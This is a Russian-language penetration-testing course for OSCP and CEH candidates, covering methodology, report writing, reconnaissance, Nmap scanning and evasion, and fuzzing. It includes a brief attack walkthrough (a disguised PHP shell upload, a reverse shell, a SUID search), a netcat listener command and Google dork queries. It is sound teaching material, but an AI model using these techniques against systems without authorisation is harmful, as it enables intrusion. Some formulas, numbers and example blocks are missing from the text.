Профессиональный пентестинг: от основ методологии до подготовки к сертификациям уровня OSCP и CEH

Комплексный курс, охватывающий полный цикл этичного хакинга: от сбора данных и эксплуатации уязвимостей до продвинутого повышения привилегий и составления отчетов. Программа ориентирована на формирование практических навыков и логики атакующего, необходимых для успешной сдачи индустриальных экзаменов.

1. Методология этичного хакинга и стандарты профессиональной сертификации (OSCP, CEH, PTES)

Методология этичного хакинга и стандарты профессиональной сертификации (OSCP, CEH, PTES)

Представьте себе хирурга, который входит в операционную и начинает делать надрезы наугад, надеясь «случайно» найти патологию. В медицине это немыслимо, но в мире кибербезопасности начинающие специалисты часто ведут себя именно так: запускают сканеры уязвимостей без понимания архитектуры сети или пытаются применить эксплойт, просто увидев знакомое название сервиса. Разница между хакером-любителем и профессиональным пентестером заключается не в количестве известных инструментов, а в строгом следовании методологии. Профессиональный аудит безопасности — это не поиск «дыр», а системный процесс минимизации рисков, где каждый шаг обоснован, задокументирован и воспроизводим.

Этический фундамент и юридические границы

Прежде чем первый пакет данных покинет ваш сетевой интерфейс в сторону цели, необходимо провести четкую грань между этичным хакингом и киберпреступлением. Этичный хакер (пентестер) действует исключительно в рамках закона и на основании предварительных договоренностей. Ключевым документом здесь является Permission to Test или Rules of Engagement (RoE).

Без подписанного документа любое сканирование может быть интерпретировано как попытка несанкционированного доступа. Профессионал всегда задает три вопроса до начала работы:

  • Что именно мы тестируем (Scope)?
  • Когда мы это делаем (Timeframe)?
  • Какие методы запрещены (Constraints)?
  • Например, если в ходе теста вы обнаружили критическую уязвимость на сервере, который не входит в утвержденный диапазон IP-адресов (Out of Scope), вы не имеете права его атаковать. Ваша задача — зафиксировать этот факт и уведомить заказчика, но не «проверять, насколько глубока кроличья нора». Нарушение границ области тестирования — кратчайший путь к потере репутации и юридическим искам.

    Стандарт PTES: Архитектура профессионального теста

    Penetration Testing Execution Standard (PTES) — это не просто список команд, а комплексный фреймворк, разделяющий процесс на семь логических этапов. Понимание этой структуры критически важно для сдачи экзаменов уровня OSCP, где хаотичные действия ведут к потере времени.

    1. Pre-engagement Interactions (Подготовка)

    На этом этапе определяются границы (Scope). Важно понимать разницу между «черным ящиком» (Black Box), когда у пентестера нет никакой информации о цели, и «белым ящиком» (White Box), когда предоставляются исходные коды и архитектурные схемы. Для сертификации OSCP используется модель «серого ящика»: вам известны IP-адреса, но внутренняя логика систем скрыта.

    2. Intelligence Gathering (Сбор информации)

    Это фундамент всей атаки. Профессионал тратит до 60% времени на разведку. Сюда входит OSINT (поиск данных в открытых источниках), анализ DNS-записей, изучение профилей сотрудников в социальных сетях. Цель — создать карту векторов атаки. Если вы пропустили субдомен на этапе разведки, вы можете упустить единственную точку входа в сеть.

    3. Threat Modeling (Моделирование угроз)

    Здесь мы ставим себя на место реального злоумышленника. Какие активы компании наиболее ценны? Это база данных клиентов или интеллектуальная собственность? Исходя из этого, выстраиваются приоритеты. В контексте экзамена CEH этот этап часто рассматривается через призму классификации злоумышленников (Script Kiddies, State-Sponsored Actors и др.).

    4. Vulnerability Analysis (Анализ уязвимостей)

    Только после того как мы поняли, что за системы перед нами, начинается поиск слабых мест. Важно различать автоматизированное сканирование (например, с помощью Nessus) и ручной анализ. На экзамене OSCP автоматические сканеры уязвимостей часто запрещены или ограничены, что заставляет кандидата понимать логику работы сетевых протоколов.

    5. Exploitation (Эксплуатация)

    Самый медийный, но опасный этап. Здесь происходит непосредственное проникновение. Главное правило профессионала: «Не навреди». Эксплуатация должна быть точечной. Если эксплойт вызывает отказ в обслуживании (DoS), его применение должно быть заранее согласовано с заказчиком.

    6. Post-Exploitation (Пост-эксплуатация)

    После получения доступа работа только начинается. Необходимо определить ценность скомпрометированной системы, попытаться повысить привилегии до уровня администратора (Root/SYSTEM) и исследовать возможность перемещения внутри сети (Lateral Movement).

    7. Reporting (Отчетность)

    Это единственный осязаемый результат вашей работы для заказчика. Отчет должен содержать две части: Executive Summary (для руководства, на языке бизнеса и рисков) и Technical Report (для системных администраторов, с пошаговым воспроизведением атак и рекомендациями по исправлению).

    Сравнительный анализ сертификаций: CEH vs OSCP

    Выбор пути обучения часто сводится к противостоянию двух философий: теоретической (EC-Council) и практической (OffSec).

    | Параметр | Certified Ethical Hacker (CEH) | Offensive Security Certified Professional (OSCP) | | :--- | :--- | :--- | | Формат | Тест (Multiple Choice Questions) | Практический экзамен (24 часа) | | Фокус | Инструментарий, терминология, методология | Навыки взлома, написание эксплойтов, упорство | | Философия | "Знать, что использовать" | "Try Harder" (уметь сделать вручную) | | Уровень | Базовый / Средний | Средний / Продвинутый |

    CEH: Энциклопедия хакинга

    Программа CEH охватывает колоссальный объем инструментов. Здесь вас заставят выучить флаги Nmap, типы троянов и специфику атак на IoT. Это отличная база для понимания терминологии и прохождения HR-фильтров. Однако критики часто отмечают, что знание того, какой кнопкой запускается инструмент, не делает человека пентестером. В CEH акцент сделан на широту знаний: от социальной инженерии до криптографии.

    OSCP: Боевое крещение

    OSCP — это золотой стандарт индустрии. Экзамен длится 23 часа 45 минут, в течение которых вы должны взломать несколько машин в изолированной сети и получить «флаги» (секретные строки текста). После этого дается еще 24 часа на написание подробного отчета. Здесь не работают теоретические знания. Если вы не понимаете, как работает переполнение буфера на уровне регистров процессора или как обойти фильтрацию символов в SQL-инъекции, вы не пройдете. Девиз "Try Harder" призывает не сдаваться перед лицом неизвестной системы, а продолжать перебор векторов и анализ данных.

    Жизненный цикл атаки через призму методологии

    Рассмотрим конкретный сценарий, чтобы понять, как методология превращается в действия. Допустим, нашей целью является корпоративный веб-сервер.

    Этап разведки: Вместо того чтобы сразу запускать sqlmap, мы используем nmap для определения версии ОС и веб-сервера.

    Мы обнаруживаем порт 80 (HTTP) и 443 (HTTPS). Заголовки ответа сервера указывают на старую версию Apache.

    Этап анализа: Мы не бросаемся искать эксплойты в Metasploit. Сначала мы проводим фаззинг (перебор) директорий с помощью gobuster или ffuf. Находим скрытую директорию /dev_backup/. Там обнаруживается конфигурационный файл с учетными данными к базе данных.

    Этап эксплуатации: Используя найденные данные, мы пробуем авторизоваться в админ-панели CMS. Если пароль подходит, мы ищем возможность загрузки файла. Загружаем PHP-шелл, замаскированный под изображение (обход проверки расширений). Получаем первичный доступ (Reverse Shell).

    Этап повышения привилегий: Мы находимся в системе под пользователем www-data. Нам нужно стать root. Мы проверяем версию ядра Linux: uname -a И ищем файлы с установленным битом SUID: find / -perm -u=s -type f 2>/dev/null Обнаруживаем нестандартный бинарный файл, который запускает системные команды с правами суперпользователя. Эксплуатируем это и получаем полный контроль над системой.

    Этот пример наглядно показывает, что успех пришел не от использования «супер-инструмента», а от последовательного сбора мелких улик, которые сложились в единую цепочку атаки.

    Роль автоматизации и инструментов

    В методологии этичного хакинга инструменты — это лишь рычаги. Однако профессионал обязан владеть «большой четверкой», которая является базой для OSCP и CEH:

  • Nmap: Глаза пентестера. Позволяет не только видеть открытые порты, но и определять версии сервисов, тип ОС и даже искать уязвимости с помощью скриптов NSE (Nmap Scripting Engine).
  • Metasploit Framework: Мощная база эксплойтов. Важно помнить, что на OSCP использование Metasploit сильно ограничено (можно использовать только один раз для одной машины), поэтому нужно уметь эксплуатировать уязвимости вручную.
  • Burp Suite: Основной инструмент для анализа веб-приложений. Он позволяет перехватывать и модифицировать HTTP-запросы между браузером и сервером.
  • Netcat (nc): «Швейцарский армейский нож» TCP/IP. Используется для создания бэкдоров, передачи файлов и прослушивания портов.
  • Понимание работы этих инструментов на низком уровне — залог успеха. Например, недостаточно знать, что nc -lvnp 4444 открывает порт. Нужно понимать разницу между Bind Shell и Reverse Shell.

    > Bind Shell: Злоумышленник открывает порт на целевой машине и подключается к нему. > > Reverse Shell: Целевая машина сама инициирует соединение с атакующим. Это критически важно для обхода межсетевых экранов (Firewalls), которые обычно блокируют входящие соединения, но разрешают исходящие.

    Юридические и этические аспекты отчетности

    Завершение технической части — это только половина дела. В методологии PTES отчетность занимает центральное место. Почему? Потому что без отчета ваши действия — это просто взлом. Отчет превращает взлом в услугу по обеспечению безопасности.

    Профессиональный отчет должен отвечать на вопросы:

  • Что произошло? (Техническое описание уязвимости).
  • Каков риск? (Оценка по шкале CVSS — Common Vulnerability Scoring System).
  • Как это исправить? (Конкретные рекомендации: обновить пакет, изменить конфиг, внедрить WAF).
  • Шкала CVSS рассчитывается на основе нескольких метрик:

    Где Exploitability (эксплуатируемость) учитывает сложность атаки и необходимость аутентификации, а Impact (влияние) оценивает ущерб конфиденциальности, целостности и доступности данных.

    Подготовка к сертификации: стратегия «Try Harder»

    Для тех, кто нацелен на OSCP, методология должна стать частью мышечной памяти. Основная ошибка новичков — попытка выучить готовые рецепты. Но в реальном тесте (и на экзамене) конфигурации систем всегда уникальны.

    Рекомендации по подготовке:

  • Лабораторные работы: Используйте платформы вроде Hack The Box или TryHackMe. Начинайте с простых машин и постепенно переходите к сложным.
  • Документирование: Записывайте каждый свой шаг. Если вы взломали машину, но не можете повторить это через неделю — вы не усвоили материал.
  • Чтение исходного кода: Часто эксплойты в интернете (например, на Exploit-DB) намеренно содержат ошибки или требуют доработки под конкретную среду. Вы должны уметь читать код на Python, C или Ruby, чтобы адаптировать их.
  • Методология этичного хакинга — это дисциплина. Она защищает вас от юридических проблем, помогает не теряться в сложных сетях и гарантирует, что ваш аудит принесет реальную пользу безопасности организации. В следующих главах мы детально разберем каждый этап этой цепочки, начиная с искусства разведки и заканчивая сложными техниками пост-эксплуатации.

    10. Документирование результатов тестирования и составление профессиональных технических отчетов

    Документирование результатов тестирования и составление профессиональных технических отчетов

    Представьте, что вы провели идеальный пентест: обнаружили критическую уязвимость в логике аутентификации, обошли EDR, получили права Domain Admin и извлекли конфиденциальные данные. Но если ваш финальный отчет невнятен, содержит грамматические ошибки или не предлагает четкого плана исправления, клиент увидит не профессиональную работу, а «хакерский шум». В мире профессионального пентестинга, особенно при сдаче экзаменов уровня OSCP, отчет — это и есть ваш продукт. Если уязвимость не задокументирована так, что ее может воспроизвести сторонний специалист, считается, что ее не существует.

    Философия отчета: для кого мы пишем?

    Главная ошибка начинающего пентестера — писать отчет «для себя» или «для другого хакера». Профессиональный документ всегда ориентирован на две радикально разные аудитории: менеджмент (C-level) и технических специалистов.

    Для руководства важны риски, выраженные в бизнес-категориях: вероятность финансового ущерба, репутационные потери, нарушение регуляторных требований (например, GDPR или 161-ФЗ). Для системных администраторов и разработчиков важны технические детали: конкретные строки кода, версии ПО, параметры запросов и пошаговые инструкции по патчингу.

    Хороший отчет строится по принципу перевернутой пирамиды: от общего вывода к мельчайшим деталям. Если технический специалист может пропустить Executive Summary, то руководитель никогда не дойдет до раздела с описанием переполнения буфера. Ваша задача — удовлетворить обоих.

    Структура профессионального отчета

    Хотя стандарты (PTES, OWASP) могут варьироваться, костяк качественного отчета остается неизменным.

    Executive Summary (Резюме для руководства)

    Это самая важная часть документа. Она должна занимать не более 1–2 страниц и отвечать на вопрос: «Насколько мы в безопасности?». Здесь недопустим технический жаргон. Вместо «мы использовали Responder для LLMNR-пойзонинга» следует писать «были выявлены недостатки в протоколах сетевого обнаружения, позволяющие перехватить учетные данные сотрудников».

    Ключевые элементы резюме:

  • Общая оценка защищенности. Использование цветовой кодировки (красный/желтый/зеленый) помогает быстро считать статус.
  • Критический путь атаки. Краткое описание того, как злоумышленник мог бы достичь главной цели (например, кражи базы клиентов).
  • Статистика уязвимостей. Графики, распределяющие найденные баги по уровням критичности (Critical, High, Medium, Low, Info).
  • Рекомендации стратегического уровня. Например, «внедрение многофакторной аутентификации» или «сегментация сети».
  • Методология и границы (Scope)

    В этом разделе фиксируется, что именно проверялось. Это юридическая защита пентестера. Если клиент заявляет, что вы пропустили уязвимость на сервере X, а сервера X не было в Scope, этот раздел станет вашим главным аргументом. Здесь же указываются инструменты (Nmap, Burp Suite, Metasploit) и стандарты, на которые вы опирались.

    Технический разбор (Technical Findings)

    Это «мясо» отчета. Каждая находка должна быть оформлена как отдельный блок. Профессиональный стандарт требует наличия следующих полей для каждой уязвимости:

    * ID и Название. Четкое и лаконичное, например: «[VULN-01] SQL-инъекция в параметре поиска». * Критичность (Severity). Оценка по шкале CVSS. * Статус. (Открыта/Исправлена — актуально для повторных проверок). * Описание. Что это за уязвимость и почему она возникла. * Влияние (Impact). К чему приведет эксплуатация (чтение БД, выполнение команд). * Воспроизведение (Proof of Concept). Пошаговый алгоритм. * Рекомендации (Remediation). Конкретные шаги по исправлению.

    Искусство написания Proof of Concept (PoC)

    PoC — это сердце технического раздела. На экзамене OSCP за плохой PoC могут снять баллы, даже если вы взломали машину. На реальном пентесте плохой PoC приведет к тому, что разработчик закроет тикет с пометкой «Cannot Reproduce».

    Правило «Чистого листа»

    Пишите так, будто человек, читающий отчет, никогда не видел эту систему.
  • Контекст. Укажите URL, IP-адрес, порт и используемый протокол.
  • Инструментарий. Если вы использовали специфический скрипт или кастомный пейлоад, приложите его код (или ссылку на репозиторий).
  • Визуализация. Скриншоты обязательны, но они не должны быть избыточными.
  • > Важно: На скриншоте должен быть виден контекст. Например, если вы получили root-доступ, скриншот должен содержать вывод команд id, whoami, hostname и, если это CTF-платформа, содержимое файла флага.

    Работа с кодом и логами

    Используйте блоки кода для оформления запросов и ответов. Если вы эксплуатируете слепую SQL-инъекцию, приведите HTTP-запрос из Burp Suite Repeater. Это гораздо информативнее, чем просто скриншот окна браузера.

    Пример оформления HTTP-запроса в отчете:

    За этим должен следовать текст: «Сервер ответил с задержкой в 5 секунд, что подтверждает наличие Time-based SQL Injection».

    Оценка рисков и CVSS

    Для объективности пентестеры используют систему CVSS (Common Vulnerability Scoring System). Она позволяет перевести субъективное «это очень опасно» в математическую величину от до .

    Математика CVSS учитывает базовые метрики (Base Score), такие как: * Attack Vector (AV). Откуда возможна атака (Network, Adjacent, Local, Physical). * Attack Complexity (AC). Насколько сложно реализовать атаку (Low/High). * Privileges Required (PR). Нужны ли права пользователя (None, Low, High). * User Interaction (UI). Нужно ли действие жертвы (None, Required). * Scope (S). Влияет ли уязвимость на другие компоненты. * Impact (C, I, A). Влияние на конфиденциальность, целостность и доступность.

    Например, уязвимость RCE (Remote Code Execution) без авторизации по сети обычно получает балл в районе –. В то время как Self-XSS (где пользователь должен сам вставить код в свое поле) может не набрать и .

    При написании отчета всегда прикладывайте векторную строку CVSS, например: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Это позволяет специалистам по ИБ быстро внести данные в свои системы управления уязвимостями (Vulnerability Management).

    Рекомендации по исправлению: от «заплатки» к стратегии

    Пентестер, который пишет «обновите ПО до последней версии» в каждой находке, быстро теряет авторитет. Рекомендации должны быть трехуровневыми:

  • Immediate Fix (Краткосрочное решение). Прямо сейчас закрыть дыру. Например: «Добавьте фильтрацию спецсимволов в поле поиска».
  • Strategic Fix (Долгосрочное решение). Изменить подход. Например: «Используйте параметризованные запросы (Prepared Statements) вместо конкатенации строк во всем проекте».
  • Compensating Controls (Компенсирующие меры). Если исправление невозможно (например, в legacy-системе). Например: «Настройте правила WAF для блокировки специфических паттернов SQL-инъекций».
  • Будьте конкретны. Если вы нашли уязвимость в конфигурации Apache, приведите пример правильного конфига:

    Это экономит часы работы системному администратору и минимизирует риск ошибки при патчинге.

    Особенности отчетов для сертификаций (OSCP, CEH)

    Подготовка отчета для экзамена — это отдельное искусство. Здесь вы не просто описываете баги, вы доказываете, что заслужили сертификат.

    Требования Offensive Security (OSCP)

    OffSec крайне строго относится к формату. Основные причины провала из-за отчета: * Отсутствие скриншотов эксплуатации. Вы должны показать каждый шаг: от сканирования до получения флага. * Нечитаемые скриншоты. Слишком мелкий шрифт в терминале или обрезанные края. * Отсутствие IP-адресов. На каждом скриншоте должен быть виден IP цели или ваше имя хоста. * Использование запрещенных инструментов. Если в отчете фигурирует использование SQLmap на нескольких машинах (что запрещено правилами OSCP), экзамен будет провален.

    Требования CEH (Practical)

    Здесь акцент смещен на инструментарий. Отчет должен демонстрировать владение широким стеком: от сканеров уязвимостей (Nessus) до инструментов анализа мобильных приложений. Важно показать методологический подход: как результаты одного этапа (разведка) стали входными данными для другого (эксплуатация).

    Типичные ошибки и как их избежать

    За годы практики в педагогике и аудите я выделил несколько «смертных грехов» документирования:

  • Копипаст из сканеров. Отчет, состоящий из выгрузки Nessus или Acunetix, — это не пентест. Сканеры часто ошибаются (False Positives). Ваша задача — верифицировать каждую находку вручную.
  • Отсутствие приоритизации. Если у вас 50 находок, не валите их в одну кучу. Критические должны быть в самом начале.
  • Эмоциональная окраска. Избегайте фраз типа «ужасная безопасность» или «глупая ошибка программиста». Будьте профессиональны и нейтральны. Используйте формулировки «недостаточный контроль», «несоответствие лучшим практикам».
  • Забытые артефакты. В ходе пентеста мы часто создаем временные файлы (shell.php, test.txt, новых пользователей pentest_admin). В отчете обязательно должен быть раздел «Cleanup» (Очистка), где перечислены все внесенные изменения, чтобы клиент мог их откатить.
  • Автоматизация и инструменты составления отчетов

    Писать отчет в MS Word с нуля — долго и мучительно. Профессионалы используют инструменты автоматизации:

    * Dradis Framework. Позволяет объединять результаты работы разных инструментов (Nmap, Burp, Nessus) в единую базу и экспортировать их по шаблону. * Serpico. Open-source решение для создания отчетов с удобной библиотекой типовых уязвимостей. * Markdown + Pandoc. Многие пентестеры предпочитают писать отчеты в легкой разметке Markdown, а затем конвертировать их в PDF или DOCX с помощью Pandoc и кастомных LaTeX-шаблонов. Это позволяет версионировать отчеты через Git и легко вставлять блоки кода.

    Пример структуры Markdown-заметки для автоматизации:

    Финальная проверка (Quality Assurance)

    Перед отправкой отчета пройдите по чек-листу:

  • Все ли IP-адреса и доменные имена соответствуют Scope?
  • Нет ли в отчете данных другого клиента (результат неудачного копипаста шаблона)?
  • Работают ли все ссылки и оглавление?
  • Достаточно ли информации в PoC, чтобы «чистый» админ повторил атаку?
  • Соответствует ли уровень риска бизнес-логике приложения? (Например, XSS в админ-панели банка критичнее, чем XSS в блоге с рецептами).
  • Помните: отчет — это ваше лицо. Качественный документ не только помогает клиенту стать защищеннее, но и продает ваши услуги на следующий год. Для студента, готовящегося к OSCP, дисциплина ведения заметок во время экзамена — это 50% успеха. Начинайте писать отчет в ту секунду, когда получили первый user.txt, а не после того, как истекли 24 часа экзамена.

    2. Разведка и активный сбор информации: техники OSINT и сканирование сетевого периметра

    Разведка и активный сбор информации: техники OSINT и сканирование сетевого периметра

    Представьте, что вы стоите перед неприступной крепостью. Вы можете попытаться протаранить главные ворота, но это поднимет тревогу и, скорее всего, закончится провалом. Опытный стратег поступит иначе: он изучит график смены караула, найдет поставщиков провизии, выяснит, нет ли в стене трещин, и узнает, какой ключ подходит к задней двери. В мире пентестинга этот этап называется разведкой (Reconnaissance). По статистике, до времени успешного взлома в рамках экзамена OSCP или реального проекта занимает именно сбор данных. Ошибка на этапе сканирования превращает атаку в слепое угадывание, тогда как качественная разведка делает эксплуатацию лишь делом техники.

    Стратегия пассивной разведки: OSINT и цифровая тень

    Разведка делится на пассивную и активную. Пассивная разведка (OSINT) подразумевает сбор информации без прямого взаимодействия с целевыми серверами. Это критически важно, так как ваши действия не фиксируются системами обнаружения вторжений (IDS) или логами веб-серверов.

    Инфраструктурный след и DNS-разведка

    Первым шагом всегда является определение границ цифрового присутствия организации. Если у вас есть только название компании, ваша задача — найти все связанные с ней домены, IP-адреса и подсети.

    Работа с DNS (Domain Name System) — это не просто поиск IP-адреса. Это изучение архитектуры. Использование таких инструментов, как whois, позволяет узнать регистратора, контактные данные администраторов и диапазоны IP-адресов, закрепленные за организацией через региональные интернет-регистраторы (RIPE, ARIN).

    Особое внимание стоит уделить поиску поддоменов. Часто основные сайты компании (например, company.com) хорошо защищены, но тестовые площадки (dev.company.com), внутренние порталы (wiki.company.internal) или старые версии ресурсов остаются без должного присмотра. Инструменты вроде Sublist3r, Amass или Assetfinder агрегируют данные из поисковых систем, сертификатов SSL (через crt.sh) и DNS-записей.

    Поисковый футпринтинг и Google Dorks

    Поисковые системы индексируют гораздо больше, чем кажется на первый взгляд. Техника использования специфических операторов поиска называется Google Hacking или Google Dorking. Для пентестера это легальный способ найти конфиденциальные документы, забытые бэкапы или панели управления.

    Рассмотрим классические примеры запросов:

  • site:target.com filetype:pdf — поиск всех PDF-документов. В их метаданных часто скрываются имена пользователей, версии ПО (например, Microsoft Word 2016) и пути к внутренним папкам.
  • site:target.com inurl:admin — поиск страниц авторизации.
  • site:target.com "index of /" — поиск открытых директорий, где могут лежать конфигурационные файлы или исходный код.
  • Социальный и кадровый анализ

    Для атак методом социальной инженерии или брутфорса (перебора паролей) необходимо знать структуру имен пользователей. LinkedIn и GitHub — золотые жилы для OSINT. На GitHub сотрудники часто случайно выкладывают скрипты с «зашитыми» (hardcoded) API-ключами или паролями от внутренних баз данных. Инструменты типа truffleHog или gitLeaks позволяют автоматизировать поиск таких «секретов» в истории коммитов.

    Активный сбор информации: переход к сканированию

    Когда пассивные методы исчерпаны, пентестер переходит к активным действиям. Здесь каждое ваше действие оставляет след. Основная задача — составить карту сети, определить живые хосты, открытые порты и работающие на них сервисы.

    Логика работы Nmap и техники обнаружения хостов

    Nmap (Network Mapper) — это де-факто стандарт индустрии. Понимание того, как он работает на уровне пакетов, отличает профессионала от «скрипт-кидди».

    Процесс начинается с обнаружения хостов (Host Discovery). Если вы отправите ICMP Echo Request (обычный ping), брандмауэр, скорее всего, его заблокирует. Поэтому Nmap использует комбинированные методы. Например, флаг -sn отключает сканирование портов и использует:

  • ICMP Echo Request.
  • ICMP Timestamp Request.
  • TCP SYN на порт 443.
  • TCP ACK на порт 80.
  • Если цель находится в той же локальной сети, Nmap будет использовать ARP-запросы, которые невозможно заблокировать программно на уровне узла.

    Анатомия сканирования портов

    После того как список «живых» IP составлен, необходимо понять, какие «двери» открыты. Самый популярный метод — TCP SYN Scan (флаг -sS), также называемый «полуоткрытым» сканированием.

    Механизм взаимодействия в рамках TCP-стека при SYN-сканировании:

  • Атакующий отправляет пакет с флагом SYN.
  • Если порт открыт, цель отвечает SYN/ACK.
  • Атакующий немедленно отправляет RST (Reset), разрывая соединение до того, как оно будет полностью установлено.
  • Это позволяет избежать фиксации полноценного соединения в логах многих приложений. Если же порт закрыт, цель ответит пакетом RST сразу.

    В ситуациях, когда брандмауэр настроен очень строго, применяются «тихие» методы, такие как NULL (-sN), FIN (-sF) или Xmas (-sX) сканирования. Они полагаются на нюансы реализации протокола TCP в RFC 793: если на закрытый порт приходит пакет без флагов (NULL) или с необычным набором флагов, система должна ответить RST. Если порт открыт, пакет будет просто проигнорирован. Однако стоит помнить, что системы на базе Windows не следуют этому правилу и отвечают RST на любые подобные пакеты, что делает эти методы бесполезными против Microsoft-инфраструктуры, но эффективными против UNIX-систем.

    Определение версий и операционных систем

    Просто знать, что порт 80 открыт — недостаточно. На нем может работать Apache 2.4.49 (уязвимый к Path Traversal) или современный Nginx. Флаг -sV заставляет Nmap отправить серию специфических запросов (проб) к открытому порту, чтобы проанализировать баннеры и ответы сервиса.

    Определение ОС (флаг -O) работает за счет анализа стека TCP/IP. Каждая операционная система имеет свои особенности: начальное значение TTL (Time To Live), размер окна (Window Size) и порядок опций TCP. Nmap сравнивает полученные «отпечатки» со своей базой данных, насчитывающей тысячи сигнатур.

    Продвинутое сканирование и обход систем защиты

    На экзамене OSCP вы часто будете сталкиваться с ситуациями, когда простое сканирование не дает результатов из-за наличия Firewall или IDS.

    Фрагментация и изменение таймингов

    Один из способов обхода IDS — фрагментация пакетов (флаг -f). Большой TCP-заголовок разбивается на несколько маленьких пакетов. Некоторые старые или плохо настроенные системы защиты не могут собрать их воедино для анализа «на лету» и пропускают внутрь сети.

    Другой аспект — интенсивность. Флаги -T0 до -T5 управляют скоростью сканирования. T0 (Paranoid) отправляет пакеты крайне медленно (один пакет в несколько минут), что позволяет обходить системы, настроенные на обнаружение всплесков трафика (Rate Limiting). На практике чаще всего используется T4 для быстрой работы в стабильных сетях.

    Скриптовый движок NSE (Nmap Scripting Engine)

    NSE превращает Nmap из сканера портов в мощный инструмент анализа уязвимостей. Скрипты написаны на языке Lua и делятся на категории: default, discovery, vuln, exploit, brute.

    Например, для поиска уязвимостей на веб-сервере можно использовать: nmap --script http-vuln* -p80 <target>

    Это автоматически проверит наличие известных дыр, таких как Slowloris или наличие доступных бэкап-файлов. Для подготовки к OSCP крайне важно уметь пользоваться категорией auth для проверки стандартных учетных данных в базах данных (MySQL, MSSQL) или сервисах удаленного доступа (VNC, SNMP).

    Специфика сканирования UDP

    UDP — протокол без установления соединения, что делает его сканирование (-sU) медленным и ненадежным. В отличие от TCP, где есть четкий ответ SYN/ACK или RST, в UDP отсутствие ответа может означать как то, что порт открыт (и приложение ждет данных), так и то, что пакет был отфильтрован брандмауэром.

    Если же порт закрыт, целевая система обычно отправляет ICMP-сообщение «Destination Unreachable (Port Unreachable)». Проблема в том, что ядра Linux ограничивают скорость отправки таких сообщений (например, до одного в секунду), из-за чего полное сканирование 65535 UDP-портов может занять больше суток. В рамках пентеста обычно сканируют только топ-100 или топ-1000 популярных UDP-портов (DNS, DHCP, SNMP, TFTP).

    Фаззинг веб-директорий и перебор параметров

    После того как сетевое сканирование выявило открытые веб-порты (80, 443, 8080), начинается этап веб-разведки. Нам нужно найти то, на что нет прямых ссылок с главной страницы.

    Инструменты Gobuster, ffuf или dirsearch используют метод перебора по словарю. Суть процесса:

  • Берется словарь (например, из набора SecLists).
  • Для каждого слова отправляется HTTP-запрос: http://target.com/word.
  • Анализируется код ответа. 200 OK означает, что ресурс найден, 403 Forbidden — доступ ограничен (но ресурс есть!), 301/302 — перенаправление.
  • Фаззинг (Fuzzing) — это более широкое понятие. С помощью ffuf можно перебирать не только папки, но и:

  • Поддомены: ffuf -w subdomains.txt -u http://FUZZ.target.com.
  • Параметры GET/POST: ffuf -w params.txt -u http://target.com/page.php?FUZZ=test. Это часто помогает найти скрытые функции, такие как debug=1 или admin=true, которые меняют логику работы приложения.
  • Анализ сетевых служб: SMB, SNMP и RPC

    Часто новички зацикливаются на HTTP, игнорируя другие сервисы, которые могут дать гораздо больше информации.

    SMB (Server Message Block)

    В сетях Windows это основной протокол для обмена файлами. С помощью enum4linux или скриптов Nmap (smb-enum-shares, smb-enum-users) можно получить:
  • Список общих папок (Shares). Иногда там разрешен анонимный вход (Anonymous Logon), что позволяет скачать конфиги или документы.
  • Список пользователей системы.
  • Имя рабочей группы или домена.
  • SNMP (Simple Network Management Protocol)

    Если администратор оставил стандартную строку сообщества (Community String), например public или private, пентестер может извлечь из устройства (роутера, сервера, принтера) огромное количество данных с помощью snmpwalk. Это могут быть таблицы маршрутизации, запущенные процессы и даже пароли, передаваемые в открытом виде.

    Синтез данных и построение вектора атаки

    Результатом разведки должна стать не папка со скриншотами, а четкое понимание поверхности атаки. Профессиональный пентестер сопоставляет данные из разных источников.

    Рассмотрим пример логической цепочки:

  • OSINT: Найден PDF-документ на сайте компании. В метаданных автор — j.doe, версия ПО — LibreOffice 6.0.
  • Nmap: Обнаружен открытый порт 445 (SMB) и порт 80 (Apache).
  • SMB Scan: Выяснено, что в системе действительно есть пользователь j.doe (через перечисление пользователей RPC).
  • Web Fuzzing: Найден скрытый каталог /dev_backup/, где лежит файл config.php.bak.
  • Анализ: В бэкапе найден старый пароль. Даже если он не подходит к админке сайта, велика вероятность, что пользователь j.doe использует его (или его вариацию) для входа по SSH или SMB.
  • Этот процесс называется Footprinting. Вы буквально «снимаете слепок» с целевой системы. На экзамене OSCP важно документировать каждый найденный порт и каждую необычную строку в ответе сервера. Часто именно мелкая деталь, вроде нестандартного номера порта (например, SSH на 2222 вместо 22), является ключом к успеху.

    Математическая модель оценки времени сканирования

    Для планирования атак в больших сетях важно понимать временные затраты. Время сканирования можно выразить упрощенной формулой:

    Где:

  • — количество живых хостов.
  • — количество сканируемых портов на каждом хосте.
  • — скорость отправки пакетов (packets per second).
  • — коэффициент задержки из-за потерь в сети или ограничений (Retransmission).
  • Если вы сканируете 256 хостов (сеть /24) по всем 65535 портам со скоростью 1000 пакетов в секунду, без учета задержек это займет:

    Именно поэтому на начальном этапе важно приоритизировать порты, используя списки самых популярных (Top Ports), чтобы получить быстрые результаты и начать их анализ, пока идет полное сканирование в фоновом режиме.

    Завершение этапа разведки

    Разведка — это итерационный процесс. Найдя новую информацию (например, имя внутреннего домена), вы должны вернуться к началу и прогнать через OSINT и сканирование уже эти новые данные. Ваша цель — минимизировать количество «белых пятен» на карте инфраструктуры.

    Помните, что в условиях реального пентеста или экзамена избыток информации так же опасен, как и её недостаток. Умение фильтровать «шум» и фокусироваться на сервисах с наибольшим потенциалом эксплуатации — это то, что отличает эксперта. В следующей главе мы перейдем к анализу найденных уязвимостей, где научимся превращать результаты сканирования в конкретные точки входа.

    3. Анализ уязвимостей сетевых служб и верификация векторов атаки

    Анализ уязвимостей сетевых служб и верификация векторов атаки

    Представьте, что вы стоите перед запертым хранилищем. У вас есть список всех замков и их моделей, полученный на этапе сканирования. Означает ли это, что вы уже внутри? Разумеется, нет. В мире пентестинга наличие открытого порта 445 или 8080 — это лишь симптом, а не диагноз. Настоящая работа начинается там, где заканчивается вывод Nmap: на этапе сопоставления версии службы с известными эксплойтами, анализа конфигурационных ошибок и верификации того, является ли найденная «дыра» реальной дверью в систему или ложным срабатыванием.

    От сканирования к анализу: переход к верификации

    Когда отчет сканера пестрит критическими уязвимостями, начинающий пентестер совершает классическую ошибку — он пытается «пробить» всё подряд. Однако профессионал, готовящийся к OSCP, знает: важна не массовость, а точность. Анализ уязвимостей — это процесс фильтрации шума и определения наиболее вероятного пути (Path of Least Resistance).

    Процесс анализа делится на три критических этапа:

  • Классификация служб. Определение типа сервиса (СУБД, веб-сервер, почтовый шлюз, служба удаленного управления).
